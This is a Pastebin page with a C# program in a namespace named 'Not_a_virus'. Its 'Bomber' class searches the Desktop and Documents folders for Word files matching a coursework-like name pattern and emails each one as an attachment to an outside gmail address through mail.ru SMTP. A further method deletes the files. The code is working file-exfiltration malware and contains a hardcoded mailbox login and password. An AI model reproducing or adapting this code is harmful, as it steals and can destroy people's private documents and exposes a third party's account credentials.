Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 4.02 KB | None | 0 0
  1. using System;
  2. using System.IO;
  3. using System.Collections.Generic;
  4. using System.Net.Mail;
  5. using System.Net;
  6. using System.Threading;
  7.  
  8. namespace Not_a_virus
  9. {
  10.     class Program
  11.     {
  12.         static void Main(string[] args)
  13.         {
  14.             Bomber bomb = new Bomber();
  15.             bomb.SearchAll(bomb.Catalog);
  16.               bomb.SearchTop(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments));
  17.               bomb.Send();
  18.             Console.ReadKey();
  19.  
  20.         }
  21.  
  22.         class Bomber
  23.         {
  24.    
  25.            public string Catalog { set; get; }
  26.  
  27.            public string File { set; get; }
  28.  
  29.            private List<FileInfo> path = new List<FileInfo>(20);
  30.  
  31.  
  32.            public Bomber()
  33.             {
  34.                 Catalog = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
  35.                 File = "*Кур*doc*";
  36.                 path = new List<FileInfo>(20);
  37.             }
  38.  
  39.            public Bomber(string file)
  40.             {
  41.                 File = file;
  42.                 path = new List<FileInfo>(20);
  43.             }
  44.  
  45.             public Bomber(string file, string dir)
  46.             {
  47.                 File = file;
  48.                 Catalog = dir;
  49.                 path = new List<FileInfo>(20);
  50.             }
  51.  
  52.  
  53.             public void SearchAll(string catalog)
  54.                 {
  55.  
  56.  
  57.                     foreach (string findedFile in Directory.EnumerateFiles(catalog, File,
  58.                            SearchOption.AllDirectories))
  59.                     {
  60.                         FileInfo FI;
  61.                         try
  62.                         {
  63.                             FI = new FileInfo(findedFile);
  64.                             Console.WriteLine(FI.Name + " " + FI.FullName + " " + FI.Length + "_байт" +
  65.                                 " Создан: " + FI.CreationTime);
  66.  
  67.                              path.Add(FI);
  68.  
  69.  
  70.                         }
  71.                         catch
  72.                         {
  73.                             continue;
  74.                         }
  75.  
  76.                     }
  77.                 }
  78.  
  79.             public void SearchTop(string catalog)
  80.              {
  81.                     foreach (string findedFile in Directory.EnumerateFiles(catalog, File,
  82.                            SearchOption.TopDirectoryOnly))
  83.                     {
  84.                         FileInfo FI;
  85.                         try
  86.                         {
  87.                             FI = new FileInfo(findedFile);
  88.                             Console.WriteLine(FI.Name + " " + FI.FullName + " " + FI.Length + "_байт" +
  89.                                 " Создан: " + FI.CreationTime);
  90.                         }
  91.                         catch
  92.                         {
  93.                             continue;
  94.                         }
  95.  
  96.                     }
  97.  
  98.  
  99.  
  100.             }
  101.  
  102.             public void Send()
  103.             {
  104.                   MailAddress from = new MailAddress("Roma9633.94@mail.ru", "Friend");
  105.                   MailAddress to = new MailAddress("antonionrus@gmail.com");
  106.                   MailMessage mes = new MailMessage(from, to);
  107.                   mes.Subject = "Доклад разведки";
  108.                   mes.Body = "Вам доставлен файл\n";
  109.                   mes.IsBodyHtml = true;
  110.                
  111.                   SmtpClient smtp = new SmtpClient("smtp.mail.ru", 25);
  112.                   smtp.Credentials = new NetworkCredential("Roma9633.94@mail.ru", "qwertyuqw");
  113.                   smtp.EnableSsl = true;
  114.  
  115.  
  116.                 foreach (FileInfo FI in path)
  117.                 {
  118.                     mes.Attachments.Add(new Attachment(FI.FullName));
  119.                     smtp.Send(mes);
  120.                     Thread.Sleep(5000);
  121.                 }
  122.  
  123.                 Console.WriteLine("Письмо отправлено");
  124.  
  125.             }
  126.  
  127.             public void Remove()
  128.             {
  129.                 foreach (FileInfo FI in path)
  130.                 {
  131.                     FI.Delete();
  132.                 }
  133.             }
  134.         }
  135.  
  136.     }
  137.  
  138.  
  139. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement